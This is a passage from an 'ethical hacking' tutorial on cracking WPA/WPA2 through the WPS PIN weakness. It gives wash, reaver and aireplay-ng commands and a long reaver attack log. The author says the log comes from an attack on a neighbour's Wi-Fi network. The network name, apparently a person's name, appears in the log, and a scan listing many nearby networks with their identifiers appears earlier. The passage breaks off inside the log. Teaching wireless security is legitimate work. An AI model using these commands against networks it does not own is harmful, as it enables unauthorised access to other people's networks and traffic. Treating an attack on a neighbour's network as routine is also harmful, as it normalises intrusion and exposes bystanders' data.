+category: "ethical-hacking"
+prev: "lesson-03"
+next: "lesson-05"
+---
+
+# Network Hacking - Gaining Access - WPA/WPA2 Cracking
+
+
+
+---
+
+- [Network Hacking - Gaining Access - WPA/WPA2 Cracking](#network-hacking---gaining-access---wpawpa2-cracking)
+ - [Introduction to WPA/WPA2 Cracking](#introduction-to-wpawpa2-cracking)
+ - [WPS (Wi-Fi Protected Setup) Vulnerability](#wps-wi-fi-protected-setup-vulnerability)
+ - [Capturing the Handshake](#capturing-the-handshake)
+ - [Creating a Wordlist](#creating-a-wordlist)
+ - [Cracking WPA/WPA2 Key using a Wordlist Attack](#cracking-wpawpa2-key-using-a-wordlist-attack)
+ - [Configuring Wireless Settings for Maximum Security](#configuring-wireless-settings-for-maximum-security)
+ - [Path](#path)
+
+
+---
+
+## Introduction to WPA/WPA2 Cracking
+
+- WPA (Wi-Fi Protected Access) and WPA2 are security protocols designed to secure wireless networks.
+- Both WPA and WPA2 are very very similar the only difference is that WPA2 uses AES/CCMP encryption while WPA uses TKIP.
+- The WPA/WPA2 protocol is designed to be more secure than WEP, but it can still be vulnerable to certain types of attacks, especially if weak passwords are used.
+- Each packet in WPA/WPA2 contains a 256-bit key, which is derived from the pre-shared key (PSK) and the SSID of the network.
+
+## WPS (Wi-Fi Protected Setup) Vulnerability
+
+- But, there's a feature if enabled and misconfigured, can be exploited to recover the key without having to crack the actual encryption.
+- The Feature is called **WPS (Wi-Fi Protected Setup)**, which allows users to easily connect devices to a Wi-Fi network without entering the password.
+- It was designed to simplify the process of connecting devices such as printers, fax etc. to a Wi-Fi network.
+- We can actually see a WPS button on most wireless printers, if this button is pressed, and than we press WPS button on the router, it will automatically connect to the network without needing to enter the password.
+- The authentication is done using an 8-digit PIN, which is used to derive the WPA/WPA2 key. So, you can take this as password made up of only numbers, and the length of the password is 8 digits. So, this gives us a relitively small keyspace to brute-force.
+- Once, we get this pin, it can be used to recover the actual WPA/WPA2 key, which can then be used to decrypt the traffic on the network.
+- In this case, we are not actually cracking the WPA/WPA2 encryption, but rather exploiting a vulnerability in the WPS protocol to recover the key.
+
+>[!NOTE]
+> This only works if the WPS feature is enabled on the target router and, is not configured to use Push Button Authentication (PBA) mode instead of Normal Pin Authentication (NPA) mode.
+
+- The router will refuse to accept any pin entered if the router is in `Push Button Authentication (PBA)` mode. And, will only work after the WPS button is pressed on the router.
+
+- So, in most routers PBC (Push Button Configuration) is the default mode, and WPS is disabled by default.
+
+- In such a scenario, we will first scan for the WPS enabled networks, using the command:
+
+ ```bash
+ root@kali:~# wash --interface wlan0
+ BSSID Ch dBm WPS Lck Vendor ESSID
+ --------------------------------------------------------------------------------
+ CE:82:A9:6D:BB:76 1 -62 2.0 No Avik
+ B4:3D:08:2D:91:41 1 -50 2.0 No RealtekS Rahul Agarwal_2.4G
+ 32:42:40:E6:AE:18 5 -70 2.0 No ZTE_2.4G_cCGVZc
+ 34:60:F9:84:F1:AF 6 -64 2.0 No RalinkTe Mids-44
+ 6C:4F:89:16:4F:F9 6 -52 2.0 No Airtel_Sathvik
+ 30:68:93:B4:2F:82 9 -66 2.0 No AtherosC abhilash
+ F0:A7:31:A8:DF:7B 10 -70 2.0 No Broadcom Nidhi
+ 3E:9D:4E:0A:CA:BA 11 -66 2.0 No Sahil
+ 96:E3:EE:24:CD:CA 7 -72 2.0 No ZTE_2.4G_PHrKyC
+ 44:95:3B:86:E6:F0 7 -70 1.0 No RalinkTe RH-2.4G-86E6F0
+ 5C:A6:E6:43:31:FE 10 -62 2.0 No RalinkTe Winterfell
+ 3C:6A:D2:6D:04:2E 8 -72 2.0 No AtherosC Toothless
+ BA:DD:71:A2:6B:FE 9 -80 2.0 No ZTE_2.4G_SDb3xT
+ BA:DD:71:A1:23:90 9 -74 2.0 No Goldenenclave 101 2.4G
+ C4:95:4D:37:AE:61 1 -70 1.0 No RalinkTe JioFiber-82hh3
+ 3C:6A:D2:70:34:82 5 -70 2.0 Yes RalinkTe Michelangelo
+ 44:95:3B:9E:26:10 1 -70 1.0 No RalinkTe RH-2.4G-9E2610
+ 18:D6:C7:82:EA:46 12 -82 2.0 No RalinkTe DAS-TP-LINK_EA46
+ 44:95:3B:88:24:70 1 -72 1.0 No RalinkTe RH-2.4G-882470
+ 5E:3A:3D:A3:26:B7 3 -72 2.0 No ZTE_2.4G_XdeD6e
+ 44:95:3B:94:8B:B0 13 -70 1.0 No RalinkTe RH-2.4G-948BB0
+ BA:DD:71:A4:BB:6A 9 -74 2.0 No Aasra pg 4th floor
+ 3C:64:CF:3B:44:3E 5 -68 2.0 No AtherosC McDeNviUber
+ 8C:A3:99:46:0D:AA 11 -84 2.0 No Broadcom JioFiber-gryff
+ BA:DD:71:E6:A6:BC 8 -74 2.0 No ZTE_2.4G_3DeKcF
+ 96:E3:EE:24:6C:F8 4 -78 2.0 No ZTE_2.4G_wzHhQ9
+ 44:95:3B:BE:DE:B0 9 -78 1.0 No RalinkTe RH-2.4G-BEDEB0
+ ```
+
+- Hence, now we know we have a WPS enabled network, we can use the `reaver` tool to brute-force the WPS PIN and recover the WPA/WPA2 key.
+
+>[!CAUTION]
+> It will not work, and fail in this scenario cause if you LCK (Lock) is set to `Yes`, which means the WPS feature is locked due to too many failed attempts or by default.
+> The attack will also not work if the Router has AP Rate Limiting (ARL) enabled, which limits the number of authentication attempts per second. It may but will take a long time to brute-force the WPS PIN.
+
+- Once, we have the info about the WPS enabled network, we can use the `reaver` tool to brute-force the WPS PIN and recover the WPA/WPA2 key along side `aireplay-ng` to associate with the target network.]
+
+- So, first run the command:
+
+ ```bash
+ root@kali:~# reaver --bssid WIFI_MAC --channel --interface wlan0 -vvv --no-associate
+ ```
+
+ And, than run the command:
+
+ ```bash
+ root@kali:~# aireplay-ng --fakeauth 30 -a WIFI_MAC -h WIRELESS_ADAPTER_MAC wlan0
+ ```
+
+- And, this should start trying all possible combinations of the WPS PIN, and once it finds the correct one, it will display the WPA/WPA2 key.
+
+- Here's a wifi that I hacked near my home, using the above method:
+
+
+ reaver logs
+
+ ```bash
+ root@kali:~# reaver --bssid B4:3D:08:2D:91:41 --channel 1 --interface wlan0 -vvv --no-associate
+
+ Reaver v1.6.6 WiFi Protected Setup Attack Tool
+ Copyright (c) 2011, Tactical Network Solutions, Craig Heffner
+
+ [+] Switching wlan0 to channel 1
+ [+] Waiting for beacon from B4:3D:08:2D:91:41
+ [+] Received beacon from B4:3D:08:2D:91:41
+ [+] Vendor: RealtekS
+ WPS: A new PIN configured (timeout=0)
+ WPS: UUID - hexdump(len=16): [NULL]
+ WPS: PIN - hexdump_ascii(len=8):
+ 31 32 33 34 35 36 37 30 12345670
+ WPS: Selected registrar information changed
+ WPS: Internal Registrar selected (pbc=0)
+ WPS: sel_reg_union
+ WPS: set_ie
+ WPS: cb_set_sel_reg
+ WPS: Enter wps_cg_set_sel_reg
+ WPS: Leave wps_cg_set_sel_reg early
+ WPS: return from wps_selected_registrar_changed
+ [+] Trying pin "12345670"
+ [+] Associated with B4:3D:08:2D:91:41 (ESSID: Rahul Agarwal_2.4G)
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ [+] Received deauth request
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [!] WARNING: Receive timeout occurred
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [!] WARNING: Receive timeout occurred
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [!] WARNING: Receive timeout occurred
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ [+] Received deauth request
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [+] Received identity request
+ [+] Sending identity response
+ send_packet called from send_identity_response() send.c:81
+ send_packet called from resend_last_packet() send.c:161
+ WPS: Processing received message (len=429 op_code=4)
+ WPS: Received WSC_MSG
+ WPS: Unsupported attribute type 0x1049 len=6
+ WPS: Parsed WSC_MSG
+ WPS: Received M1
+ WPS: UUID-E - hexdump(len=16): 63 04 12 53 10 19 20 06 12 28 b4 3d 08 2d 91 41
+ WPS: Enrollee MAC Address b4:3d:08:2d:91:41
+ WPS: Enrollee Nonce - hexdump(len=16): f2 15 8e fc e7 95 d5 93 91 19 52 41 49 9f 8f cd
+ WPS: Enrollee Authentication Type flags 0x21
+ WPS: No match in supported authentication types (own 0x0 Enrollee 0x21)
+ WPS: Workaround - assume Enrollee does not advertise supported authentication types correctly
+ WPS: Enrollee Encryption Type flags 0x9
+ WPS: No match in supported encryption types (own 0x0 Enrollee 0x9)
+ WPS: Workaround - assume Enrollee does not advertise supported encryption types correctly
+ WPS: Enrollee Connection Type flags 0x1
+ WPS: Enrollee Config Methods 0x2788 [Display] [PBC] [Keypad]
+ WPS: Enrollee Wi-Fi Protected Setup State 2
+ WPS: Manufacturer - hexdump_ascii(len=27):
+ 52 65 61 6c 74 65 6b 20 53 65 6d 69 63 6f 6e 64 Realtek Semicond
+ 75 63 74 6f 72 20 43 6f 72 70 2e uctor Corp.
+ WPS: Model Name - hexdump_ascii(len=7):
+ 52 54 4c 38 36 37 31 RTL8671
+ WPS: Model Number - hexdump_ascii(len=13):
+ 45 56 2d 32 30 31 30 2d 30 39 2d 32 30 EV-2010-09-20
+ WPS: Serial Number - hexdump_ascii(len=15):
+ 31 32 33 34 35 36 37 38 39 30 31 32 33 34 37 123456789012347
+ WPS: Primary Device Type: 6-0050F204-1
+ WPS: Device Name - hexdump_ascii(len=10):
+ 45 41 52 54 48 2d 32 30 32 32 EARTH-2022
+ WPS: Enrollee RF Bands 0x1
+ WPS: Enrollee Association State 0
+ WPS: Device Password ID 0
+ WPS: Enrollee Configuration Error 0
+ WPS: OS Version 10000000
+ WPS: M1 Processed
+ WPS: dev_pw_id checked
+ WPS: PBC Checked
+ WPS: Entering State SEND_M2
+ WPS: WPS_CONTINUE, Freeing Last Message
+ WPS: WPS_CONTINUE, Saving Last Message
+ WPS: returning
+ [+] Received M1 message
+ WPS: Found a wildcard PIN. Assigned it for this UUID-E
+ WPS: Registrar Nonce - hexdump(len=16): 68 7e 1c 0b a9 21 ce d0 9d a1 6a 0f 9b 2a d4 5b
+ WPS: UUID-R - hexdump(len=16): 02 4c ae 1c 16 ac 7e c1 93 26 81 2d 15 b0 2a b2
+ WPS: Building Message M2
+ WPS: * Version
+ WPS: * Message Type (5)
+ WPS: * Enrollee Nonce
+ WPS: * Registrar Nonce
+ WPS: * UUID-R
+ WPS: * Public Key
+ WPS: Generate new DH keys
+ DH: private value - hexdump(len=192): 67 76 6c ef bf 5f a7 56 9c da 98 25 a5 c1 9e 95 28 d1 30 89 97 bf 5a fc 49 b9 c7 85 49 80 78 4f ad c4 c3 fd e2 a5 19 4e 6c 31 13 7e 06 10 88 6e 9c 11 d1 0b c9 3d 64 be c5 ab 84 38 c0 09 11 32 c7 19 de 6b 8d d3 d3 c6 df e8 21 5c 73 a3 00 c0 c1 81 94 78 a0 4f a1 84 23 59 37 2c 54 e4 dc 4c cb 09 be d1 14 f5 14 c9 45 2b 85 22 88 5c b0 a0 19 b6 4f c4 c4 e4 ec 64 2b e5 58 43 c9 37 9d d4 75 47 f0 67 5e fc e5 11 ec be db 4f 1d 4f 88 d3 21 f6 2b 22 33 ba 73 fc d3 f0 34 1e e2 8a 52 ad 8c 2f 1c 8c a9 77 21 d9 34 59 ee f1 c1 c6 6e e4 5c 0b 77 bc b3 f5 95 a1 5c e5 02 7f 2c 6b df 77
+ DH: public value - hexdump(len=192): b0 eb 5c e1 b9 53 04 19 0e a3 9d 12 6c ec be 28 ee 65 ca 4f 38 df 82 8e 60 dd a5 34 2e 5b c2 a7 be df aa 1a 9d 03 5e e7 9c e1 ff 12 84 f0 cd eb eb 7d 57 c6 09 12 75 d5 6d 99 30 2c ef 1b d3 51 d1 07 a6 02 61 53 21 ad 49 65 ac 0a 43 21 8f 4b a4 31 1c 79 49 d3 b6 d2 dc d8 56 d9 07 6d 98 7f 66 f6 f7 5a b2 c3 ca 84 7d 9c b2 3c 13 0a 18 20 b4 65 15 74 a8 a1 fb 8f 97 9d 5e 7e f3 38 fd 98 86 9f e7 d2 d6 18 99 63 56 19 43 83 03 82 4e 7e 1c 8f 94 7b 46 89 7c 26 bc 7b 5d 61 99 c1 b7 4d 88 95 49 be b1 d6 4b d2 e4 1f 5e 63 85 ac 07 dd 31 2f 7c e9 94 2a 4d 8b 69 5e a5 be 39 5f 58 97
+ WPS: DH Private Key - hexdump(len=192): 67 76 6c ef bf 5f a7 56 9c da 98 25 a5 c1 9e 95 28 d1 30 89 97 bf 5a fc 49 b9 c7 85 49 80 78 4f ad c4 c3 fd e2 a5 19 4e 6c 31 13 7e 06 10 88 6e 9c 11 d1 0b c9 3d 64 be c5 ab 84 38 c0 09 11 32 c7 19 de 6b 8d d3 d3 c6 df e8 21 5c 73 a3 00 c0 c1 81 94 78 a0 4f a1 84 23 59 37 2c 54 e4 dc 4c cb 09 be d1 14 f5 14 c9 45 2b 85 22 88 5c b0 a0 19 b6 4f c4 c4 e4 ec 64 2b e5 58 43 c9 37 9d d4 75 47 f0 67 5e fc e5 11 ec be db 4f 1d 4f 88 d3 21 f6 2b 22 33 ba 73 fc d3 f0 34 1e e2 8a 52 ad 8c 2f 1c 8c a9 77 21 d9 34 59 ee f1 c1 c6 6e e4 5c 0b 77 bc b3 f5 95 a1 5c e5 02 7f 2c 6b df 77
+ WPS: DH own Public Key - hexdump(len=192): b0 eb 5c e1 b9 53 04 19 0e a3 9d 12 6c ec be 28 ee 65 ca 4f 38 df 82 8e 60 dd a5 34 2e 5b c2 a7 be df aa 1a 9d 03 5e e7 9c e1 ff 12 84 f0 cd eb eb 7d 57 c6 09 12 75 d5 6d 99 30 2c ef 1b d3 51 d1 07 a6 02 61 53 21 ad 49 65 ac 0a 43 21 8f 4b a4 31 1c 79 49 d3 b6 d2 dc d8 56 d9 07 6d 98 7f 66 f6 f7 5a b2 c3 ca 84 7d 9c b2 3c 13 0a 18 20 b4 65 15 74 a8 a1 fb 8f 97 9d 5e 7e f3 38 fd 98 86 9f e7 d2 d6 18 99 63 56 19 43 83 03 82 4e 7e 1c 8f 94 7b 46 89 7c 26 bc 7b 5d 61 99 c1 b7 4d 88 95 49 be b1 d6 4b d2 e4 1f 5e 63 85 ac 07 dd 31 2f 7c e9 94 2a 4d 8b 69 5e a5 be 39 5f 58 97
+ WPS: DH Private Key - hexdump(len=192): 67 76 6c ef bf 5f a7 56 9c da 98 25 a5 c1 9e 95 28 d1 30 89 97 bf 5a fc 49 b9 c7 85 49 80 78 4f ad c4 c3 fd e2 a5 19 4e 6c 31 13 7e 06 10 88 6e 9c 11 d1 0b c9 3d 64 be c5 ab 84 38 c0 09 11 32 c7 19 de 6b 8d d3 d3 c6 df e8 21 5c 73 a3 00 c0 c1 81 94 78 a0 4f a1 84 23 59 37 2c 54 e4 dc 4c cb 09 be d1 14 f5 14 c9 45 2b 85 22 88 5c b0 a0 19 b6 4f c4 c4 e4 ec 64 2b e5 58 43 c9 37 9d d4 75 47 f0 67 5e fc e5 11 ec be db 4f 1d 4f 88 d3 21 f6 2b 22 33 ba 73 fc d3 f0 34 1e e2 8a 52 ad 8c 2f 1c 8c a9 77 21 d9 34 59 ee f1 c1 c6 6e e4 5c 0b 77 bc b3 f5 95 a1 5c e5 02 7f 2c 6b df 77
+ WPS: DH peer Public Key - hexdump(len=192): 19 53 af d3 77 bb 0d f5 74 a0 21 a4 5f 2e 52 60 c0 30 8f 05 a5 c5 12 da 6f a9 5d b4 20 7d d5 47 f7 63 59 ec 31 f9 fd 4d 6a 4a 95 07 cc 0c 64 b4 a3 8d 94 3c 77 65 25 13 d9 75 05 a5 5b 36 e2 a2 ac 4e 2f e5 4e 61 54 2e e9 0c 28 73 e4 0a df b9 a3 57 b9 13 3d 92 50 6e 8c 9b aa 44 1f d8 af 98 07 e2 d2 d9 80 a7 fc ea 3f 50 be 34 a2 b7 fa ce 38 ba dc a9 d0 72 f0 7e 39 c7 d4 14 46 0d f4 e7 9c 0a 9c 79 f4 c0 e8 8e 8d 89 62 68 7e bb d4 fa 89 86 aa ab dc 13 c6 28 dc 4d 8d 83 28 4a 7a 11 19 1f ea 6f 3a 9f 95 f7 e9 3c e2 b7 55 7c 53 f0 2a e2 ef 44 54 45 77 45 c4 f3 c0 25 f0 7d 5b e6
+ DH: shared key - hexdump(len=192): df 82 03 d4 67 d7 2b 8a e5 a5 ba 3d 5b c5 1e 6c 25 b6 49 39 b5 03 a7 c4 44 f6 33 9c 38 06 4d ab a4 16 27 de b5 01 fd c7 56 fa ac e3 0c 07 28 1a 71 47 00 58 95 f8 29 e3 68 18 f5 b9 13 d3 76 e1 1f 16 b9 c4 db 4d 62 2d 21 5d 20 4f 53 db 1f 58 62 4c 31 af fc 5f db d1 84 51 95 0b 00 29 6b aa 36 ed 6b 7b ed 1e 28 35 53 2d 14 90 28 e3 57 56 02 b4 4a 12 45 df 22 91 b2 0d 8f 22 b7 73 be c9 2e 70 c0 e5 74 0d f5 94 c3 45 fe c9 da 93 b3 33 06 ea 5a 40 03 76 24 cb de 01 30 ed 21 eb 70 8c b1 bd 1e ea 5a 44 b4 e6 0b 61 c6 52 7b 94 5e 27 aa 47 05 3f 59 ea 62 a2 9f e0 7d b1 28 82 d6 43
+ WPS: DH shared key - hexdump(len=192): df 82 03 d4 67 d7 2b 8a e5 a5 ba 3d 5b c5 1e 6c 25 b6 49 39 b5 03 a7 c4 44 f6 33 9c 38 06 4d ab a4 16 27 de b5 01 fd c7 56 fa ac e3 0c 07 28 1a 71 47 00 58 95 f8 29 e3 68 18 f5 b9 13 d3 76 e1 1f 16 b9 c4 db 4d 62 2d 21 5d 20 4f 53 db 1f 58 62 4c 31 af fc 5f db d1 84 51 95 0b 00 29 6b aa 36 ed 6b 7b ed 1e 28 35 53 2d 14 90 28 e3 57 56 02 b4 4a 12 45 df 22 91 b2 0d 8f 22 b7 73 be c9 2e 70 c0 e5 74 0d f5 94 c3 45 fe c9 da 93 b3 33 06 ea 5a 40 03 76 24 cb de 01 30 ed 21 eb 70 8c b1 bd 1e ea 5a 44 b4 e6 0b 61 c6 52 7b 94 5e 27 aa 47 05 3f 59 ea 62 a2 9f e0 7d b1 28 82 d6 43
+ WPS: DHKey - hexdump(len=32): 90 1f d7 49 25 fe 84 9d 6a 72 17 48 18 84 c3 85 d1 27 a8 f2 b6 f4 e9 c5 56 31 37 71 5c 4b 90 7a
+ WPS: KDK - hexdump(len=32): 50 b1 86 a2 f5 b1 d0 87 d6 eb d2 87 7b 0e cf d4 a1 7b 3d a3 60 2b b7 33 3a 4d e3 6b cc 12 1a 5f
+ WPS: AuthKey - hexdump(len=32): 9c 9f 02 f3 a1 45 a8 79 3d 2b eb 08 0b 5f 30 e2 10 12 1a 17 4a e3 ab c7 0c 91 b8 db 45 4d 6c de
+ WPS: KeyWrapKey - hexdump(len=16): eb 74 dc 6b 62 03 db cd 01 72 81 06 e3 fa c3 85
+ WPS: EMSK - hexdump(len=32): 32 88 b5 ed b0 cd c3 1b 19 78 5b 0c 0f fa a2 e7 a7 03 62 75 83 9b ef d3 82 e0 fe 0b 25 74 f7 f7
+ WPS: * Authentication Type Flags
+ WPS: * Encryption Type Flags
+ WPS: * Connection Type Flags
+ WPS: * Config Methods (8c)
+ WPS: * Manufacturer
+ WPS: * Model Name
+ WPS: * Model Number
+ WPS: * Serial Number
+ WPS: * Primary Device Type
+ WPS: * Device Name
+ WPS: * RF Bands (0)
+ WPS: * Association State
+ WPS: * Configuration Error (0)
+ WPS: * Device Password ID (0)
+ WPS: * OS Version
+ WPS: * Authenticator
+ [+] Sending M2 message
+ send_packet called from send_msg() send.c:116
+ WPS: Processing received message (len=429 op_code=4)
+ WPS: Received WSC_MSG
+ WPS: Unsupported attribute type 0x1049 len=6
+ WPS: Parsed WSC_MSG
+ WPS: Received M1
+ WPS: Unexpected state (15) for receiving M1
+ WPS: returning
+ [+] Received M1 message
+ WPS: Building Message WSC_NACK
+ WPS: * Version
+ WPS: * Message Type (14)
+ WPS: * Enrollee Nonce
+ WPS: * Registrar Nonce
+ WPS: * Configuration Error (0)
+ [+] Sending WSC NACK
+ send_packet called from send_msg() send.c:116
+ WPS: Building Message WSC_NACK
+ WPS: * Version
+ WPS: * Message Type (14)
+ WPS: * Enrollee Nonce
+ WPS: * Registrar Nonce
+ WPS: * Configuration Error (0)
+ [+] Sending WSC NACK
+ send_packet called from send_msg() send.c:116
+ send_packet called from send_termination() send.c:142
+ [!] WPS transaction failed (code: 0x03), re-trying last pin
+ WPS: Invalidating used wildcard PIN
+ WPS: Invalidated PIN for UUID - hexdump(len=16): 63 04 12 53 10 19 20 06 12 28 b4 3d 08 2d 91 41
+ WPS: A new PIN configured (timeout=0)
+ WPS: UUID - hexdump(len=16): [NULL]
+ WPS: PIN - hexdump_ascii(len=8):
+ 31 32 33 34 35 36 37 30 12345670
+ WPS: Selected registrar information changed
+ WPS: Internal Registrar selected (pbc=0)
+ WPS: sel_reg_union
+ WPS: set_ie
+ WPS: cb_set_sel_reg
+ WPS: Enter wps_cg_set_sel_reg
+ WPS: Leave wps_cg_set_sel_reg early
+ WPS: return from wps_selected_registrar_changed
+ [+] Trying pin "12345670"
+ [+] Associated with B4:3D:08:2D:91:41 (ESSID: Rahul Agarwal_2.4G)
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [!] WARNING: Receive timeout occurred
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [+] Received deauth request
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [!] WARNING: Receive timeout occurred
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [+] Received deauth request
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [!] WARNING: Receive timeout occurred
+ [+] Sending EAPOL START request
+ send_packet called from send_eapol_start() send.c:48
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ send_packet called from resend_last_packet() send.c:161
+ [+] Received identity request
+ [+] Sending identity response
+ send_packet called from send_identity_response() send.c:81
+ send_packet called from resend_last_packet() send.c:161
+ WPS: Processing received message (len=429 op_code=4)
+ WPS: Received WSC_MSG
+ WPS: Unsupported attribute type 0x1049 len=6
+ WPS: Parsed WSC_MSG
+ WPS: Received M1
+ WPS: UUID-E - hexdump(len=16): 63 04 12 53 10 19 20 06 12 28 b4 3d 08 2d 91 41
+ WPS: Enrollee MAC Address b4:3d:08:2d:91:41
+ WPS: Enrollee Nonce - hexdump(len=16): d9 ec e0 c5 7d 06 11 d0 9c 36 81 b7 24 03 ad 20
+ WPS: Enrollee Authentication Type flags 0x21
+ WPS: No match in supported authentication types (own 0x0 Enrollee 0x21)
+ WPS: Workaround - assume Enrollee does not advertise supported authentication types correctly
+ WPS: Enrollee Encryption Type flags 0x9
+ WPS: No match in supported encryption types (own 0x0 Enrollee 0x9)
+ WPS: Workaround - assume Enrollee does not advertise supported encryption types correctly
+ WPS: Enrollee Connection Type flags 0x1
+ WPS: Enrollee Config Methods 0x2788 [Display] [PBC] [Keypad]
+ WPS: Enrollee Wi-Fi Protected Setup State 2
+ WPS: Manufacturer - hexdump_ascii(len=27):
+ 52 65 61 6c 74 65 6b 20 53 65 6d 69 63 6f 6e 64 Realtek Semicond
+ 75 63 74 6f 72 20 43 6f 72 70 2e uctor Corp.
+ WPS: Model Name - hexdump_ascii(len=7):
+ 52 54 4c 38 36 37 31 RTL8671
+ WPS: Model Number - hexdump_ascii(len=13):
+ 45 56 2d 32 30 31 30 2d 30 39 2d 32 30 EV-2010-09-20
+ WPS: Serial Number - hexdump_ascii(len=15):
+ 31 32 33 34 35 36 37 38 39 30 31 32 33 34 37 123456789012347
+ WPS: Primary Device Type: 6-0050F204-1
+ WPS: Device Name - hexdump_ascii(len=10):
+ 45 41 52 54 48 2d 32 30 32 32 EARTH-2022
+ WPS: Enrollee RF Bands 0x1
+ WPS: Enrollee Association State 0
+ WPS: Device Password ID 0
+ WPS: Enrollee Configuration Error 0
+ WPS: OS Version 10000000
+ WPS: M1 Processed
+ WPS: dev_pw_id checked
+ WPS: PBC Checked
+ WPS: Entering State SEND_M2
+ WPS: WPS_CONTINUE, Freeing Last Message
+ WPS: WPS_CONTINUE, Saving Last Message
+ WPS: returning
+ [+] Received M1 message
+ WPS: Found a wildcard PIN. Assigned it for this UUID-E
+ WPS: Registrar Nonce - hexdump(len=16): 74 0c 58 05 ce 95 51 f8 af 34 64 b2 74 68 54 5b
+ WPS: UUID-R - hexdump(len=16): d1 41 d5 f1 6f 70 8e 54 38 b7 1b e7 30 59 49 1b
+ WPS: Building Message M2
+ WPS: * Version
+ WPS: * Message Type (5)
+ WPS: * Enrollee Nonce
+ WPS: * Registrar Nonce
+ WPS: * UUID-R
+ WPS: * Public Key
+ WPS: Generate new DH keys
+ DH: private value - hexdump(len=192): 70 e2 3e f0 e4 ce 10 ab 7f 6b 78 36 a1 2d 6a 30 d8 ad ed 5f 9f da fe 7a ab e9 0e dd e5 37 24 e7 69 c4 94 83 64 9f ca 08 a5 93 ad 26 0c 9b 8b 3e f2 99 2d f6 ad 05 a7 20 e2 e2 d8 b1 a8 32 bd 7a d9 13 65 18 2d 9d 5f 8f f9 10 f5 ae fe 90 08 d6 90 04 7e d5 df 2d ae 44 c2 5b e4 b3 9a 5f 0b 9d 24 46 fa 12 ba 56 b6 47 88 d2 8d 8b 8c 6a 94 1b fa 2b ff 0b 4f e4 3e 94 ce 02 87 df cd e1 ac de 37 ca d4 89 85 3c c4 87 1a 46 d5 3e 7b bb 01 dc 3a 88 84 28 49 45 85 a1 b5 5f c9 0c 3a ac c0 a4 9f a4 37 ca 81 98 83 36 f0 b2 69 85 55 6f 72 51 bb 87 37 1b 08 09 6e 18 91 31 b3 87 7d 58 5c 46
+ DH: public value - hexdump(len=192): f2 3e d5 4f e5 a5 49 e7 25 ec 8e 6e 90 82 c3 a5 d8 b8 79 74 1f c4 b3 14 22 3c 34 cc 2d 63 96 4c 66 55 ac 4e fb 90 e1 01 c2 c4 23 17 31 d3 f1 99 8e 2b b3 2d 22 29 2f 68 b1 b8 d2 a5 0f 76 90 95 4b 13 8e b5 bf 8c 6e 0d 45 76 ce 44 19 72 8d 10 ad ee f6 97 ae 83 e3 5e 75 23 1f dc 7f af 5d 09 83 b4 8b 09 7e d0 f1 31 5a d6 ba f2 05 a1 29 0d 9d 44 f2 61 c9 df f2 29 12 b6 34 05 24 9f df ce 04 6d 70 1a 33 eb fd 82 93 86 56 b1 d0 ce 6c dc 92 f8 bf 34 01 a3 32 7d ca a3 07 9f 96 8d c6 f9 59 30 9e 32 48 92 b9 3c 2e 7a 43 91 93 a0 c6 98 2a a9 2f 2d 0f f0 ae 67 c5 33 b5 bd 45 71 20 6a
+ WPS: DH Private Key - hexdump(len=192): 70 e2 3e f0 e4 ce 10 ab 7f 6b 78 36 a1 2d 6a 30 d8 ad ed 5f 9f da fe 7a ab e9 0e dd e5 37 24 e7 69 c4 94 83 64 9f ca 08 a5 93 ad 26 0c 9b 8b 3e f2 99 2d f6 ad 05 a7 20 e2 e2 d8 b1 a8 32 bd 7a d9 13 65 18 2d 9d 5f 8f f9 10 f5 ae fe 90 08 d6 90 04 7e d5 df 2d ae 44 c2 5b e4 b3 9a 5f 0b 9d 24 46 fa 12 ba 56 b6 47 88 d2 8d 8b 8c 6a 94 1b fa 2b ff 0b 4f e4 3e 94 ce 02 87 df cd e1 ac de 37 ca d4 89 85 3c c4 87 1a 46 d5 3e 7b bb 01 dc 3a 88 84 28 49 45 85 a1 b5 5f c9 0c 3a ac c0 a4 9f a4 37 ca 81 98 83 36 f0 b2 69 85 55 6f 72 51 bb 87 37 1b 08 09 6e 18 91 31 b3 87 7d 58 5c 46
